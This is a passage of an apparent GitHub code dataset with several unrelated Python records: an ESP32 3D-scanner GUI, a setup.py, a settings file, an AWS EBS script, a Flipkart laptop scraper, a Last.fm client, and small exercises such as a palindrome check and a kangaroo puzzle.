Elapsed: {hoursTimeElapsed}H {minutesTimeElapsed}M {round(secondsTimeElapsed, 0)}S'\r\n elif (minutesTimeElapsed > 0):\r\n MessageStatus = f'Time Elapsed: {minutesTimeElapsed}M {round(secondsTimeElapsed, 0)}S'\r\n else:\r\n MessageStatus = f'Time Elapsed: {round(secondsTimeElapsed, 0)}S'\r\n f.write(f\"{MessageStatus}\\n\")\r\n f.write(f\"Total Points: {npts}\\n\")\r\n f.write(f\"Average PPS: {round((npts/(self.endTimeElapsed - self.beginTimeElapsed)), 2)}\")\r\n\r\n # ===========================================================\r\n # Help About\r\n # ===========================================================\r\n def Help_About(self): # QMessageBox.information\r\n self.ui.statusBar.showMessage('About...')\r\n # -----------------------------------------\r\n message = self.APP_NAME + ' ' + str( self.APP_VERSION ) + '\\n\\n'\r\n message += \"This software has the goal of doing a 3D of indoor spaces\\n\"\r\n message += 'CVS & CAV @ 2020' + '\\n'\r\n QtWidgets.QMessageBox.information(QtWidgets.QWidget(), 'About', message)\r\n # ----------------------------------------- \r\n self.ui.statusBar.showMessage('Ready.')\r\n \r\n # ===========================================================\r\n # # Threads\r\n # ===========================================================\r\n # ===========================================================\r\n # Connect Communications Thread\r\n # ===========================================================\r\n \r\n def ConnectCOMThread(self):\r\n self.ui.Label_STATUS2.setText(\"Connecting...\")\r\n self.ui.Label_STATUS2.setStyleSheet('color: orange')\r\n\r\n usb_port = str(self.ui.lineEdit_USBPort.text())\r\n wifi_ssid = str(self.ui.lineEdit_SSID.text())\r\n wifi_pwd = str(self.ui.lineEdit_PWD.text())\r\n wifi_host = str(self.ui.lineEdit_HOST.text())\r\n wifi_port = str(self.ui.lineEdit_PORT.text())\r\n\r\n try:\r\n esp32_usb = serial.Serial(usb_port, 115200, timeout=.1)\r\n # esp32_usb = serial.Serial('COM3', 115200, timeout=10)\r\n print ('connected OK!')\r\n except Exception as error:\r\n self.ui.statusBar.clearMessage()\r\n self.ui.statusBar.showMessage(\"Couldn't connect to \" + usb_port)\r\n self.ui.Label_STATUS2.setText(\"Disconnected\")\r\n self.ui.Label_STATUS2.setStyleSheet('color: red')\r\n return\r\n\r\n time.sleep(1) #give the connection a second to settle\r\n\r\n self.USB_sendWaitAnswer(esp32_usb, wifi_ssid, \"SSID_OK\")\r\n self.USB_sendWaitAnswer(esp32_usb, wifi_pwd, \"PWD_OK\")\r\n self.USB_sendWaitAnswer(esp32_usb, wifi_host, \"HOST_OK\")\r\n self.USB_sendWaitAnswer(esp32_usb, wifi_port, \"PORT_OK\")\r\n\r\n while True:\r\n data = esp32_usb.readline()[:-2] #the last bit gets rid of the new-line chars\r\n if data:\r\n data = data.decode()\r\n if data == \"CONNECTION_OK\":\r\n break\r\n elif data == \"CONNECTION_NOK\":\r\n self.ui.statusBar.showMessage(\"SSID or Password Incorrect, please try again\")\r\n self.ui.Label_STATUS2.setText(\"Disconnected\")\r\n self.ui.Label_STATUS2.setStyleSheet('color: red')\r\n return\r\n\r\n if(not self.StartServer(wifi_host, int(wifi_port))):\r\n return\r\n\r\n data = \" \"\r\n scanner_ip= \" \"\r\n \r\n while True:\r\n data = esp32_usb.readline()[:-2].decode() #the last bit gets rid of the new-line chars\r\n if data:\r\n scanner_ip = data\r\n break\r\n\r\n while True:\r\n data = esp32_usb.readline()[:-2].decode() #the last bit gets rid of the new-line chars\r\n if data:\r\n data = data\r\n if data == \"CONNECTION_OK\":\r\n break\r\n elif data == \"CONNECTION_NOK\":\r\n self.ui.Label_STATUS2.setText(\"Disconnected\")\r\n self.ui.Label_STATUS2.setStyleSheet('color: red')\r\n return\r\n\r\n esp32_usb.close()\r\n\r\n self.ui.statusBar.clearMessage()\r\n self.ui.statusBar.showMessage(\"Connected \")\r\n \r\n self.ui.Label_STATUS2.setText(\"Connected\")\r\n self.ui.Label_STATUS2.setStyleSheet('color: green')\r\n self.ui.Label_ScannerIP2.setText(scanner_ip)\r\n self.ui.Label_ScannerIP2.setStyleSheet('color: blue')\r\n self.ui.Button_Connect_COM.setEnabled( 0 )\r\n self.ui.Button_Disconnect_COM.setEnabled( 1 )\r\n self.ui.button_CheckStatus.setEnabled( 1 )\r\n self.ui.button_StartCalibration.setEnabled( 1 )\r\n self.ui.button_ApplyMotors.setEnabled( 1 )\r\n\r\n # ===========================================================\r\n # Start IMU Calibration\r\n # ===========================================================\r\n def StartCalibrateThread(self):\r\n self.WIFI_sendMessage(\"IC\")\r\n self.ui.Button_Disconnect_COM.setEnabled( 0 )\r\n self.ui.button_CheckStatus.setEnabled( 0 )\r\n self.ui.button_StartCalibration.setEnabled( 0 )\r\n self.ui.button_StopCalibration.setEnabled( 1 )\r\n self.ui.button_ApplyMotors.setEnabled( 0 )\r\n\r\n while True:\r\n data = self.WIFI_recvMessage()\r\n if(self.calibrateFlag):\r\n self.calibrateFlag = False\r\n return\r\n if data == \"END_CALIBRATE\":\r\n return\r\n else:\r\n data = data.split(\" \")\r\n\r\n self.sys_calibration = int(data[0])\r\n self.gyr_calibration = int(data[1])\r\n self.acc_calibration = int(data[2])\r\n self.mag_calibration = int(data[3])\r\n\r\n statusMessage = \" System: \" + str(self.sys_calibration)\r\n statusMessage += \" Gyroscope: \" + str(self.gyr_calibration)\r\n statusMessage += \" Accelerometer: \" + str(self.acc_calibration)\r\n statusMessage += \" Magnetometer: \" + str(self.mag_calibration)\r\n\r\n self.ui.statusBar.clearMessage()\r\n self.ui.statusBar.showMessage(statusMessage)\r\n self.WIFI_sendMessage(\"ACK\")\r\n\r\n # ===========================================================\r\n # Start Scan Thread\r\n # ===========================================================\r\n def StartScanThread(self, corners):\r\n self.ResetScan()\r\n self.ui.Button_Disconnect_COM.setEnabled( 0 )\r\n self.ui.button_CheckStatus.setEnabled( 0 )\r\n self.ui.button_StartCalibration.setEnabled( 0 )\r\n self.ui.button_ApplyMotors.setEnabled( 0 )\r\n self.ui.button_StartScan.setEnabled( 0 )\r\n self.ui.button_PauseScan.setEnabled( 1 )\r\n self.ui.button_StopScan.setEnabled( 0 )\r\n self.StopScanFlag = False\r\n\r\n distAntes = 100\r\n\r\n PPS = 0\r\n self.beginTestDate = str(datetime.datetime.now())\r\n\r\n self.WIFI_sendMessage(\"S\")\r\n\r\n self.beginTimeElapsed = time.time()\r\n counterPPS=0\r\n beginPPS = time.time()\r\n\r\n f = open('scan1.txt', 'w')\r\n\r\n while True:\r\n while(self.PauseScanFlag):\r\n time.sleep(0.1) # Improves performance\r\n if(self.StopScanFlag):\r\n return\r\n\r\n corners.SetText(2, f\"Total Points: {self.cloud.GetNumberOfPoints()}\" )\r\n corners.SetText(1, str(datetime.datetime.now()))\r\n self.ui.qvtk1.ren.AddViewProp( self.ui.qvtk1.cornerAnnotation ) # It does not refresh without this\r\n\r\n data = self.WIFI_recvMessage()\r\n self.WIFI_sendMessage(\"ACK\")\r\n\r\n if(data == \"END_SCAN\"):\r\n PPS = self.cloud.GetNumberOfPoints() / (time.time()- self.beginTimeElapsed)\r\n corners.SetText(3, f\"PPS: {'{:.2f}'.format(PPS)}\" )\r\n f.close()\r\n self.endTestDate = str(datetime.datetime.now())\r\n self.ui.qvtk1.iren.Render() \r\n self.ui.Button_Disconnect_COM.setEnabled(1)\r\n self.ui.button_CheckStatus.setEnabled(1)\r\n self.ui.button_StartCalibration.setEnabled(1)\r\n self.ui.button_ApplyMotors.setEnabled(1)\r\n self.ui.button_StartScan.setEnabled(1)\r\n self.ui.button_PauseScan.setEnabled( 0 )\r\n self.PauseScanFlag = True\r\n self.StopScanFlag = True\r\n return\r\n \r\n f.write(f\"{data}\\n\")\r\n data = data.split(\" \")\r\n millis = float(data[0])\r\n theta = float(data[1])\r\n phi = float(data[2])\r\n dist = float(data[3])\r\n strenght = float(data[4])\r\n celsius = float(data[5])\r\n q0 = float(data[6])\r\n q1 = float(data[7])\r\n q2 = float(data[8])\r\n q3 = float(data[9])\r\n\r\n #print(phi)\r\n\r\n #dist = dist*10\r\n\r\n if(dist>12000 or dist<100):\r\n dist = distAntes\r\n else:\r\n distAntes = dist\r\n\r\n x = dist*np.cos(phi)*np.cos(theta)\r\n y = dist*np.cos(phi)*np.sin(theta)\r\n z = dist*np.sin(phi)\r\n\r\n point = [x, y, z]\r\n\r\n counterPPS = counterPPS+1\r\n \r\n # add new point (3 floats), cell point and data\r\n pid = self.points.InsertNextPoint( point )\r\n self.vertices.InsertNextCell(1)\r\n self.vertices.InsertCellPoint(pid)\r\n self.vtkdepth.InsertNextValue( dist/12000 )\r\n\r\n # update cloud polydata\r\n self.points.Modified()\r\n self.vertices.Modified()\r\n self.vtkdepth.Modified()\r\n self.cloud.Modified()\r\n\r\n # update line\r\n self.lineSource.SetPoint2( point )\r\n\r\n if(counterPPS == 20):\r\n endPPS = time.time()\r\n newPPS = counterPPS / (endPPS-beginPPS)\r\n \r\n # Low Pass Filter\r\n PPS = PPS*0.90 + newPPS*0.10\r\n\r\n corners.SetText(3, f\"PPS: {'{:.2f}'.format(PPS)}\" )\r\n corners.SetText(0, f\"Step Mode: 1/{self.stepMode}\")\r\n counterPPS = 0\r\n beginPPS = time.time()\r\n\r\n self.endTimeElapsed = time.time()\r\n TimeElapsed = int(self.endTimeElapsed - self.beginTimeElapsed)\r\n\r\n daysTimeElapsed, hoursTimeElapsed, minutesTimeElapsed, secondsTimeElapsed = self.SEC_TO_DHMS(TimeElapsed)\r\n\r\n if(daysTimeElapsed > 0):\r\n MessageStatus = f'Time Elapsed: {daysTimeElapsed}D {hoursTimeElapsed}H {minutesTimeElapsed}M {secondsTimeElapsed}S'\r\n elif (hoursTimeElapsed > 0):\r\n MessageStatus = f'Time Elapsed: {hoursTimeElapsed}H {minutesTimeElapsed}M {secondsTimeElapsed}S'\r\n elif (minutesTimeElapsed > 0):\r\n MessageStatus = f'Time Elapsed: {minutesTimeElapsed}M {secondsTimeElapsed}S' \r\n else:\r\n MessageStatus = f'Time Elapsed: {secondsTimeElapsed}S'\r\n\r\n PointsLeft = self.totalPoints - self.cloud.GetNumberOfPoints()\r\n TimeLeft = int(PointsLeft / PPS)\r\n\r\n daysTimeLeft, hoursTimeLeft, minutesTimeLeft, secondsTimeLeft = self.SEC_TO_DHMS(TimeLeft)\r\n\r\n if(daysTimeLeft > 0):\r\n MessageStatus += f' Time Left: {daysTimeLeft}D {hoursTimeLeft}H {minutesTimeLeft}M {secondsTimeLeft}S'\r\n elif (hoursTimeLeft > 0):\r\n MessageStatus += f' Time Left: {hoursTimeLeft}H {minutesTimeLeft}M {secondsTimeLeft}S'\r\n elif (minutesTimeLeft > 0):\r\n MessageStatus += f' Time Left: {minutesTimeLeft}M {secondsTimeLeft}S' \r\n else:\r\n MessageStatus += f' Time Left: {secondsTimeLeft}S'\r\n\r\n self.ui.SetMessageStatus(MessageStatus)\r\n\r\n # update vtk rendering\r\n self.ui.qvtk1.iren.Render()\r\n\r\n # ===========================================================\r\n # Progress Bar Thread\r\n # ===========================================================\r\n def ProgressBarThread(self):\r\n while True:\r\n while(self.PauseScanFlag):\r\n time.sleep(0.1) # Improves performance\r\n if(self.StopScanFlag):\r\n return\r\n\r\n nPoints = self.cloud.GetNumberOfPoints()\r\n progress = 100*nPoints/self.totalPoints\r\n self.ui.progressBar.setValue( progress )\r\n if(progress == 100):\r\n return\r\n\r\n# ===============================================\r\nif __name__ == \"__main__\": \r\n app = Qt.QApplication(sys.argv)\r\n myapp = SceneViewerApp()\r\n myapp.show()\r\n sys.exit(app.exec_())\r\n # app.quit()\r\n# ===============================================\r\n","repo_name":"CarlosVieira99/3D-Indoor-Mapping","sub_path":"User Interface/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":44403,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"15175980710","text":"# Filename: setup.py\n\nimport vcd2wavedrom\n\ntry:\n from setuptools import setup, Extension\nexcept ImportError:\n from distutils.core import setup, Extension\n\nNAME = \"vcd2wavedrom\"\n\nVERSION = \"0.0.1\"\n\nAUTHOR = \"Philipp van Kempen\"\n\nAUTHOR_EMAIL = \"philipp DOT van DASH kempen AT tum DOT de\"\n\nDESCRIPTION = \"TODO\"\n\nKEYWORDS = [\n \"EDA\",\n \"electronic design automation\",\n \"logic\",\n \"visualization\",\n \"vcd\",\n \"wavedrom\",\n \"conversion\",\n \"wavedrom\",\n \"hdl\",\n \"simulation\",\n]\n\nwith open('README.md') as fin:\n README = fin.read()\n\nwith open('LICENSE') as fin:\n LICENSE = fin.read()\n\nURL = \"https://github.com/PhilippvK/python-vcd2wavedrom\"\n\nDOWNLOAD_URL = \"https://github.com/PhilippvK/vcd2wavedrom/releases\"\n\nCLASSIFIERS = [\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n \"Programming Language :: Python\",\n \"Programming Language :: Python :: 3\",\n \"Topic :: Scientific/Engineering\",\n \"Topic :: Scientific/Engineering :: Mathematics\",\n]\n\nMYEDA_PKGS = [\n 'vcd2wavedrom',\n]\n\nTEST_PKGS = [\n 'tests',\n]\n\nPACKAGES = MYEDA_PKGS + TEST_PKGS\n\nEXT_MODULES = []\n\nSCRIPTS = [\n]\n\ninstall_requires=[\n# 'termcolor>=1.1.0',\n# 'pyeda>=0.28.0',\n# 'quine-mccluskey @ https://github.com/tpircher/quine-mccluskey',\n 'wavedrom>=2.0.3.post2',\n]\n\nsetup(\n name=NAME,\n version=VERSION,\n author=AUTHOR,\n author_email=AUTHOR_EMAIL,\n description=DESCRIPTION,\n keywords=KEYWORDS,\n long_description=README,\n license=LICENSE,\n url=URL,\n download_url=DOWNLOAD_URL,\n classifiers=CLASSIFIERS,\n #packages=PACKAGES,\n #ext_modules=EXT_MODULES,\n #scripts=SCRIPTS,\n test_suite='nose.collector',\n python_requires='>=3.5',\n install_requires=install_requires,\n py_modules=['vcd2wavedrom'],\n)\n","repo_name":"PhilippvK/python-vcd2wavedrom","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"30671661215","text":"# This file contains the project-wide settings.\n#\n# This is a Django style setting files, with an import from local_settings to override the settings, and not a Flask style file.\n# The reason is that we need these settings from code that is not Flask code, and that has no access to the global app instance.\n#\n\nimport os\nimport sys\n\nBACKEND_DIR = os.path.dirname(os.path.abspath(__file__))\nBASE_DIR = os.path.dirname(BACKEND_DIR) # Root of the project\nOUTER_BASE_DIR = os.path.dirname(BASE_DIR) # Folder containing both projects (wikidata-fuzzy-search and data-label-augmentation)\n\nDATA_LABEL_AUGMENTATION_PATH = os.path.join(OUTER_BASE_DIR, 'data-label-augmentation')\nCACHE_PATH = os.path.join(BASE_DIR, 'cache', 'models')\nLINKING_SCRIPT_CONFIG_PATH = os.path.join(BACKEND_DIR, 'cfg')\nWORD2VEC_MODEL_PATH = os.path.join(BACKEND_DIR, 'data-label-augmentation', 'data', 'GoogleNews-vectors-negative300-SLIM.bin')\n\nWIKIDATA_INDEX_PATH = os.path.join(BASE_DIR, 'cache', 'index')\n\nWD_QUERY_ENDPOINT = 'http://dsbox02.isi.edu:8899/bigdata/namespace/wdq/sparql'\n\ntry:\n from local_settings import *\nexcept ImportError:\n pass\n\ndef set_python_path():\n def add_path(path):\n if path not in sys.path:\n sys.path.append(path)\n\n add_path(DATA_LABEL_AUGMENTATION_PATH)\n add_path(os.path.join(DATA_LABEL_AUGMENTATION_PATH, 'src', 'label_augmenter'))\n\ndef get_wikidata_csv_path():\n return os.path.join(WIKIDATA_INDEX_PATH, 'wikidata.csv')\n\ndef get_wikidata_json_path():\n return os.path.join(WIKIDATA_INDEX_PATH, 'wikidata.json')\n\n\nos.makedirs(CACHE_PATH, exist_ok=True)\nos.makedirs(WIKIDATA_INDEX_PATH, exist_ok=True)\n","repo_name":"usc-isi-i2/wikidata-fuzzy-search","sub_path":"backend/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1640,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"54"} +{"seq_id":"71549642082","text":"import boto3\nfrom ec2 import ec2_filter_by_id\n\n\nebs = boto3.client('ec2',region_name='sa-east-1')\n\ndef ebs_get_volumes():\n volumes = []\n response = ebs.describe_volumes()\n for volume in response['Volumes']:\n volume_id = volume['VolumeId']\n volume_type = volume['VolumeType']\n volume_state = volume['State']\n instance_id = volume['Attachments'][0]['InstanceId']\n instance_name = ec2_filter_by_id(instance_id)\n temp_dict = {}\n temp_dict['volume_id'] = volume_id \n temp_dict['volume_type'] = volume_type \n temp_dict['volume_state '] = volume_state \n temp_dict['instance_id'] = instance_id \n volumes.append(temp_dict)\n\ndef get_volumes_available(): \n response = ebs.describe_volumes(\n Filters=[\n {\n 'Name':'status',\n 'Values':[\n 'available',\n ]}\n ]\n )\n count_volumes = response['Volumes']\n return len(count_volumes)\n\n\nebs_volumes = get_volumes_available()\nprint(ebs_volumes)","repo_name":"idasilva/python-exemplos","sub_path":"bot-aws-vmware/aws/ebs.py","file_name":"ebs.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"16480267629","text":"# Define a function to reverse a string\ndef reverseString(s):\n # Convert the input string to a list of characters\n s_list = list(s)\n\n # Get the length of the list\n n = len(s_list)\n\n # Initialize two pointers: start and end\n start = 0\n end = n - 1\n\n # While the start pointer is less than the end pointer\n while start < end:\n # Swap characters at the start and end positions\n s_list[start], s_list[end] = s_list[end], s_list[start]\n # Move the start pointer to the right\n start += 1\n # Move the end pointer to the left\n end -= 1\n\n # Convert the list of characters back to a string\n reversed_s = \"\".join(s_list)\n\n # Return the reversed string\n return reversed_s\n\n# Define a function to check if a string is a palindrome\ndef isPalindrome(s):\n # Reverse the input string\n rev_s = reverseString(s)\n\n # Compare the reversed string to the original string\n if rev_s == s:\n return True\n else:\n return False\n\n# Get an input string from the user\ns = input(\"Input String: \")\n\n# Call the isPalindrome function to check if it's a palindrome\nres = isPalindrome(s)\n\n# Check the result and print accordingly\nif res == True:\n print(\"Yes, it's a palindrome.\")\nelse:\n print(\"No, it's not a palindrome.\")\n\n# Time and space complexity comments\n'''\nTime Complexity: O(n) - Linear time complexity due to string reversal\nSpace Complexity: O(n) - Space used for the list of characters in 's_list'\n'''\n","repo_name":"yash12-cha/DSA-CODES","sub_path":"Palindrome String.py","file_name":"Palindrome String.py","file_ext":"py","file_size_in_byte":1491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"38052101175","text":"from requests import Session\r\nfrom bs4 import BeautifulSoup as BS\r\nimport pandas as pd\r\nfrom lxml import html\r\ns = Session()\r\ns.headers['user-agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0'\r\n\r\n\r\nbase_url = \"https://www.flipkart.com{}\"\r\npagination_url = \"&page={}\"\r\nlistpage =[]\r\ndef crawl_sub(url):\r\n r = s.get(url)\r\n tree = html.fromstring(r.text)\r\n soup = BS(r.text,'html.parser')\r\n\r\n h = []\r\n main_cat_url = tree.xpath('//a[@class=\"_2KpZ6l _3dESVI\"]/@href')\r\n for i in main_cat_url:\r\n h.append(base_url.format(i))\r\n # print(h)\r\n\r\n for page in h:\r\n r = s.get(page)\r\n soup = BS(r.text,'html.parser')\r\n # print('main url page',page)\r\n page_count = int(soup.find('div','_2MImiq').find('span').text.strip('Page').strip('1 of'))\r\n # print(page_count)\r\n if page_count:\r\n for num in range(1,page_count+1):\r\n # print(num)\r\n list_page_url= page + pagination_url.format(num)\r\n # print('url ------',list_page_url)\r\n crawl_list(list_page_url)\r\n else:\r\n page_count = 1 \r\n\r\n\r\ndef crawl_list(cat_url):\r\n r = s.get(cat_url)\r\n tree = html.fromstring(r.text)\r\n soup = BS(r.text,'html.parser')\r\n \r\n\r\n pro = tree.xpath('//div[@class=\"_1AtVbE col-12-12\"]//div[@class=\"_2kHMtA\"]')\r\n for i in pro:\r\n price = ''.join(i.xpath('.//div[@class=\"_30jeq3 _1_WHN1\"]/text()'))\r\n # off_price = ''.join(i.xpath('.//div[@class=\"_3I9_wc _27UcVY\"]/text()')).replace(\"₹\",\"\")\r\n off_price = ' '.join(tree.xpath('//div[@class=\"_3I9_wc _27UcVY\"]/text()')).replace(\"'₹'\",\"\").strip().replace(\"₹\",\"\")\r\n links ='https://www.flipkart.com'+' '.join(i.xpath('.//a[@class=\"_1fQZEK\"]/@href'))\r\n\r\n product_links.append({'price':price,'Off_price':off_price,'url':links}) \r\n\r\ndef crawl_details(row):\r\n url = row.get('url')\r\n price = row.get('price')\r\n off_price = row.get('off_price')\r\n\r\n\r\n r = s.get(url)\r\n soup = BS(r.text,'html.parser')\r\n tree = html.fromstring(r.text)\r\n\r\n title = ''.join(tree.xpath('//span[@class=\"B_NuCI\"]/text()'))\r\n try:\r\n ram = ''.join(tree.xpath('//tr[@class=\"_1s_Smc row\"]//td[@class=\"_1hKmbr col col-3-12\" and contains (string(),\"Dedicated Graphic Memory Capacity\")]/following-sibling::td//ul//li/text()'))\r\n except:\r\n ram = ''.join(tree.xpath('//tr[@class=\"_1s_Smc row\"]//td[@class=\"_1hKmbr col col-3-12\" and contains (string(),\"RAM\")]/following-sibling::td//ul//li/text()'))[0]\r\n\r\n processer_brand = ''.join(tree.xpath('//tr[@class=\"_1s_Smc row\"]//td[@class=\"_1hKmbr col col-3-12\" and contains (string(),\"Processor Brand\")]/following-sibling:: td//ul//li/text()'))\r\n processer_name = ''.join(tree.xpath('//tr[@class=\"_1s_Smc row\"]//td[@class=\"_1hKmbr col col-3-12\" and contains (string(),\"Processor Name\")]/following-sibling:: td//ul//li/text()'))\r\n processer_generation = ''.join(tree.xpath('//tr[@class=\"_1s_Smc row\"]//td[@class=\"_1hKmbr col col-3-12\" and contains (string(),\"Processor Generation\")]/following-sibling:: td//ul//li/text()'))\r\n storage = ''.join(tree.xpath('//tr[@class=\"_1s_Smc row\"]//td[@class=\"_1hKmbr col col-3-12\" and contains (string(),\"SSD Capacity\")]/following-sibling:: td//ul//li/text()'))\r\n screen_size = ''.join(tree.xpath('//tr[@class=\"_1s_Smc row\"]//td[@class=\"_1hKmbr col col-3-12\" and contains (string(),\"Screen Size\")]/following-sibling:: td//ul//li/text()'))\r\n image = ' , '.join(tree.xpath('//img[@class=\"q6DClP\"]/@src')).replace(\"128\",\"720\")\r\n model_name = ''.join(tree.xpath('//tr[@class=\"_1s_Smc row\"]//td[@class=\"_1hKmbr col col-3-12\" and contains (string(),\"Model Name\")]/following-sibling:: td//ul//li/text()'))\r\n try:\r\n operating_system = tree.xpath('//tr[@class=\"_1s_Smc row\"]//td[@class=\"_1hKmbr col col-3-12\" and contains (string(),\"Operating System\")]/following-sibling:: td//ul//li/text()')[0]\r\n except:\r\n operating_system = \"\"\r\n \r\n colour = ''.join(tree.xpath('//tr[@class=\"_1s_Smc row\"]//td[@class=\"_1hKmbr col col-3-12\" and contains (string(),\"Color\")]/following-sibling:: td//ul//li/text()'))\r\n item = dict()\r\n\r\n \r\n grafic = ''.join(tree.xpath('//tr[@class=\"_1s_Smc row\"]//td[@class=\"_1hKmbr col col-3-12\" and contains (string(),\"Graphic Processor\")]/following-sibling:: td//ul//li/text()'))\r\n \r\n item['Title'] = title\r\n item['model_name'] = model_name\r\n item['Price '] = price\r\n item['Off_price'] = off_price\r\n item['ram'] = ram\r\n item['Colour'] = colour\r\n item['processer_brand'] = processer_brand\r\n item['processer_name'] = processer_name\r\n item['processer_generation'] = processer_generation\r\n item['storage'] = storage\r\n item['Grafic'] = grafic\r\n item['operating_system'] = operating_system\r\n item['screen_size'] = screen_size\r\n item['Image'] = image\r\n item['product_url'] = url\r\n products_detail.append(item)\r\n print(item)\r\n\r\n\r\nproduct_links = []\r\nproducts_detail = []\r\ncrawl_sub(\"https://www.flipkart.com/laptops-store?otracker=nmenu_sub_Electronics_0_Laptops\")\r\nfor row in product_links:\r\n crawl_details(row)\r\n\r\ndf = pd.DataFrame(products_detail)\r\ndf.to_excel(\"flipkart_in.xlsx\")","repo_name":"Rohit8860/Web-Scrapping-Crawler","sub_path":"flipkart.py","file_name":"flipkart.py","file_ext":"py","file_size_in_byte":5245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"11053162973","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\nimport modules\nimport pkgutil\nfrom lib.core.exception import SwarmModuleException\n\ndef get_modules():\n \"\"\"\n Returns:\n return a list consist of module name.\n Raises:\n SwarmModuleException: An error occurred when try to get modules or no available module.\n \"\"\"\n try:\n s=os.path.dirname(modules.__file__)\n ret=[name for _, name, _ in pkgutil.iter_modules([s])]\n except Exception as e:\n raise SwarmModuleException('an error occurred when try to get modules, please check'\n ' modules of swarm')\n\n # check available module\n if len(ret)==0:\n raise SwarmModuleException('no available module')\n return ret\n\n\n\n\n","repo_name":"a7vinx/swarm","sub_path":"lib/core/module.py","file_name":"module.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"54"} +{"seq_id":"26565828014","text":"from itertools import islice\n\nimport requests\n\nfrom movie_music_rater.exceptions import NoDataEXC, ResponseEXC\n\n\nclass MusicData:\n api_key = \"fa79514efe98769c82ba5fca5256c6b6\"\n similar = []\n top_song = []\n involvement_factor = 0\n genres = []\n\n def get_similar(self, artist):\n artist_list = artist.split()\n new_artist = '+'.join(artist_list)\n\n request = \"http://ws.audioscrobbler.com/2.0/?method=artist.getsimilar&artist=\" + new_artist + \"&api_key=\" \\\n + self.api_key + \"&format=json\"\n\n response = requests.get(request)\n self.check_status(response)\n\n json_data = response.json()\n self.check_data(json_data)\n\n for i in islice(json_data.get(\"similarartists\").get(\"artist\"), 5):\n self.similar.append(i.get(\"name\"))\n\n def get_top_songs(self, artist):\n artist_list = artist.split()\n new_artist = '+'.join(artist_list)\n\n request = \"http://ws.audioscrobbler.com/2.0/?method=artist.gettoptracks&artist=\" + new_artist + \"&api_key=\" \\\n + self.api_key + \"&format=json\"\n\n response = requests.get(request)\n self.check_status(response)\n\n json_data = response.json()\n self.check_data(json_data)\n\n for i in islice(json_data.get(\"toptracks\").get(\"track\"), 10):\n self.top_song.append(i.get(\"name\"))\n\n def get_involvement_factor(self, artist):\n\n artist_list = artist.split()\n new_artist = '+'.join(artist_list)\n\n request = \"http://ws.audioscrobbler.com/2.0/?method=artist.getinfo&artist=\" + new_artist + \"&api_key=\" \\\n + self.api_key + \"&format=json\"\n response = requests.get(request)\n self.check_status(response)\n\n json_data = response.json()\n self.check_data(json_data)\n\n for i in json_data.get(\"artist\").get(\"tags\").get(\"tag\"):\n self.genres.append(i.get(\"name\"))\n\n playcount = int(json_data.get(\"artist\").get(\"stats\").get(\"playcount\"))\n listeners = int(json_data.get(\"artist\").get(\"stats\").get(\"listeners\"))\n\n self.involvement_factor = playcount / listeners\n\n def check_status(self, response):\n if response.status_code != 200:\n raise ResponseEXC(\"Response Error\\n\")\n\n def check_data(self, data):\n if data.get(\"error\") == 6:\n raise NoDataEXC(\"Content Error\\n\")\n","repo_name":"Kubster96/movie_music_rater","sub_path":"movie_music_rater/music_data.py","file_name":"music_data.py","file_ext":"py","file_size_in_byte":2382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"6720915225","text":"class ApiConfig(object):\n \n host_and_port = None\n scheme = None\n \n @classmethod\n def splunkd_host_port(cls):\n if not cls.host_and_port:\n import splunk.clilib.cli_common as comm\n ipAndPort = comm.getWebConfKeyValue('mgmtHostPort')\n ip, port = ipAndPort.split(':')\n cls.host_and_port = (ip, int(port))\n return cls.host_and_port\n \n @classmethod\n def splunkd_scheme(cls):\n if not cls.scheme:\n import splunk.clilib.cli_common as comm\n import splunk.util as splutil\n enableSsl = comm.getConfKeyValue('server', 'sslConfig', 'enableSplunkdSSL')\n enableSsl = splutil.normalizeBoolean(enableSsl)\n cls.scheme = 'https' if enableSsl else 'http'\n return cls.scheme\n \n","repo_name":"siddharthajuprod07/youtube","sub_path":"splunk_app_db_connect/bin/dbx2/splunk_client/api_config.py","file_name":"api_config.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","stars":127,"dataset":"github-code","pt":"54"} +{"seq_id":"39059328629","text":"\"\"\"Kangaroo task\"\"\"\n\nimport sys\n\n\ndef check_if_meet(x1: float, v1: float, x2: float, v2: float):\n ''' Function checks if kangaroos meet.\n\n Args:\n x1 (float): first kangaroo position from -10000 to 10000\n v1 (float): first kangaroo velocity from -10000 to 10000\n x1 (float): second kangaroo position from -10000 to 10000\n x1 (float): second kangaroo velocity from -10000 to 10000\n\n Returns:\n str: 'YES' or 'NO'\n\n '''\n # if in the same start position, they already met\n if x1 == x2:\n return 'YES'\n # if not in the same start position but with equal velocity, they will never meet\n elif v1 == v2:\n return 'NO'\n else:\n # count number of steps to meet, should be positive integer\n step_num = (x2 - x1)/(v1 - v2)\n if step_num.is_integer() and step_num > 0:\n return 'YES'\n else:\n return 'NO'\n\n\ndef check_arg(argument):\n '''Check if input is integer between -10000 and 10000\n\n Args:\n argument (str): input\n\n Returns:\n boolean: fulfills the conditions or not\n '''\n try:\n argument = int(argument)\n except (ValueError, TypeError) as err:\n return False\n else:\n if -10000 <= argument <= 10000:\n return True\n return False\n\n\nif __name__ == \"__main__\":\n args = sys.argv[1:]\n if len(args) != 4:\n print('Wrong number of arguments, should be 4 integers')\n elif not all(isinstance(argument, str) for argument in args):\n print('Wrong input type. All arguments should be integers')\n 